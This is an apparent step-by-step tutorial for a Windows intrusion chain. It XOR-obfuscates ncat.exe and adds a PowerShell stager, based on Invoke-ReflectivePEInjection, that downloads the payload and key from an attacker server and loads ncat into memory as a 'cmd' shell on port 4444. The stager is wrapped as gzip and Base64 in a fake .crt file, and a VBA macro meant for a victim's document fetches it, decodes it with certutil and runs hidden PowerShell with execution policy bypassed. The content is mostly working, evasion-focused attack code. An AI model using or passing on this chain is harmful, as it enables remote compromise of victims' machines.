ncat.exe

Step 1

```
function Convert-BinaryToString
{
 [CmdletBinding()] param ([string] $FilePath)
 try {$ByteArray = [System.IO.File]::ReadAllBytes($FilePath);}
 catch { throw "Failed to read file.";}
 if ($ByteArray) {$Base64String = [System.Convert]::ToBase64String($ByteArray);}
 else {throw '$ByteArray is $null.';}
 Write-Output -InputObject $Base64String;
}
Convert-BinaryToString path_to_ncat_executable
```

Convert ncat.exe to a Base64 string

Base64-converted_ncat

Step 3

```
param (
 [Parameter(Mandatory=$true)]
 [string] $file1, #First File in step 1=Base64-converted_ncat
 [Parameter(Mandatory=$true)]
 [string] $file2, #Second File in step 2=XOR key
 [Parameter(Mandatory=$true)]
 [string] $out #Output File
) #end param

$file1_b = [System.IO.File]::ReadAllBytes("$file1")
$file2_b = [System.IO.File]::ReadAllBytes("$file2")
$len = if ($file1_b.Count -lt $file2_b.Count) {$file1_b.Count}
else {$file2_b.Count}
$xord_byte_array = New-Object Byte[] $len

# XOR between the files
for($i=0; $i -lt $len ; $i++)
{$xord_byte_array[$i] = $file1_b[$i] -bxor $file2_b[$i]}
[System.IO.File]::WriteAllBytes("$out", $xord_byte_array)
write-host "[*] $file1 XOR $file2`n[*] Saved to " -nonewline;
Write-host "$out" -foregroundcolor yellow -nonewline; Write-host ".";

** Then Save the above PowerShell script locally (e.g. xor_files.ps1), start a PowerShell session and
execute the following.
** The result will be an XOR-obfuscated Ncat (in Base64 form).
PS >> powershell -ep bypass .\xor_files.ps1 Base64-converted._ncat.txt  XOR_key.txt
```

```
PS C:\Users\mictec\Desktop\Test> powershell -ep bypass .\xor_files.ps1 Base64-converted_ncat.txt xor_key.txt

cmdlet xor_files.ps1 at command pipeline position 1
Supply values for the following parameters:
out: out
[*] Base64-converted_ncat.txt XOR xor_key.txt
[*] Saved to out.
PS C:\Users\mictec\Desktop\Test>
```

XOR fonction

xored_ncat hosted on the attacker server (/tmp) so they can be accessed by the stager

XOR key hosted on the attacker server (/tmp) so they can be accessed by the stager

Step 2

Create a random Base64 string of equal length to the Base64-converted ncat.exe
A quick way to do this would be taking the Base64-converted ncat.exe and replacing, for example, all "A"s with "M"s

Step 4

Take the altered Invoke-ReflectivePEInjection:
https://gist.github.com/anonymous/67ae047664e9407b053874e7e1732349

Add the following code to the end (replacing the green-lettered parts so that they point to your server) :

#Drop the XORed Ncat from step 3 and the XOR key from Step 2 to Temp
(new-object Net.WebClient).DownloadFile('http://attacker.domain:8080/xored_ncat' , $env:temp+"/ciphertext")
(new-object Net.WebClient).DownloadFile('http://attacker.domain:8080/xor_key' , $env:temp+"/key")
$ciphertext = [System.IO.File]::ReadAllBytes($env:temp+"/ciphertext")
$key = [System.IO.File]::ReadAllBytes($env:temp+"/key")
$len = if ($ciphertext.Count -lt $key.Count) {$ciphertext.Count} else { $key.Count}
$xord_byte_array = New-Object Byte[] $len

#XOR between the XORed Ncat and the XOR key
for($i=0; $i -lt $len ; $i++) {
$xord_byte_array[$i] = $ciphertext[$i] -bxor $key[$i] }

#The deciphered Ncat is stored on Temp
[System.IO.File]::WriteAllBytes($env:temp+"/deciphered", $xord_byte_array)
$deciphered = Get-Content $env:temp/deciphered
$PEBytes = [System.Convert]::FromBase64String($deciphered)

#De-obfuscated Ncat is reflectively loaded into memory
Invoke-PEInjectionInMemory -PEBytes $PEBytes -ExeArgs "nc -nlvp 4444 -e cmd"

Invoke-ReflectivePEInjection + Extra code
(have link to xored_ncat and XOR key)

Step 5

http://www.txtwizard.net/compression

Gzip compression

embed the gzip compressed in a oneliner

```
$s=New-Object
IO.MemoryStream(,[Convert]::FromBase64String('insert_gzip_compressed_InvokeReflecti
vePEInjection'));IEX (New-Object IO.StreamReader(New-Object
IO.Compression.GzipStream($s,[IO.Compression.CompressionMode]::Decompress))).Read
ToEnd()
```

Step 6

PS1

Step 7

https://www.utilities-online.info/base64

Base64-encode The oneliner

CRT file (ps1_b64.crt) hosted on the attacker server

Step 8

```
Sub DownloadAndExec()
Dim xHttp: Set xHttp = CreateObject("Microsoft.XMLHTTP")
Dim bStrm: Set bStrm = CreateObject("Adodb.Stream")
xHttp.Open "GET", "http://attacker.domain:8080/ps1_b64.crt", False
xHttp.Send
With bStrm
 .Type = 1 '//binary
 .Open
 .write xHttp.responseBody
 .savetofile "encoded_ps1.crt", 2 '//overwrite
End With
Shell ("cmd /c certutil -decode encoded_ps1.crt decoded.ps1 &
c:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe -ep
bypass -W Hidden .\decoded.ps1")
End Sub
```

A malicious macro (Microsoft document) send it to the victim, will download the CRT file and then saved it in stream format , this final will be decode it and executed ncat.exe Where the attacker will be in listening mode: nc –nlvp 4444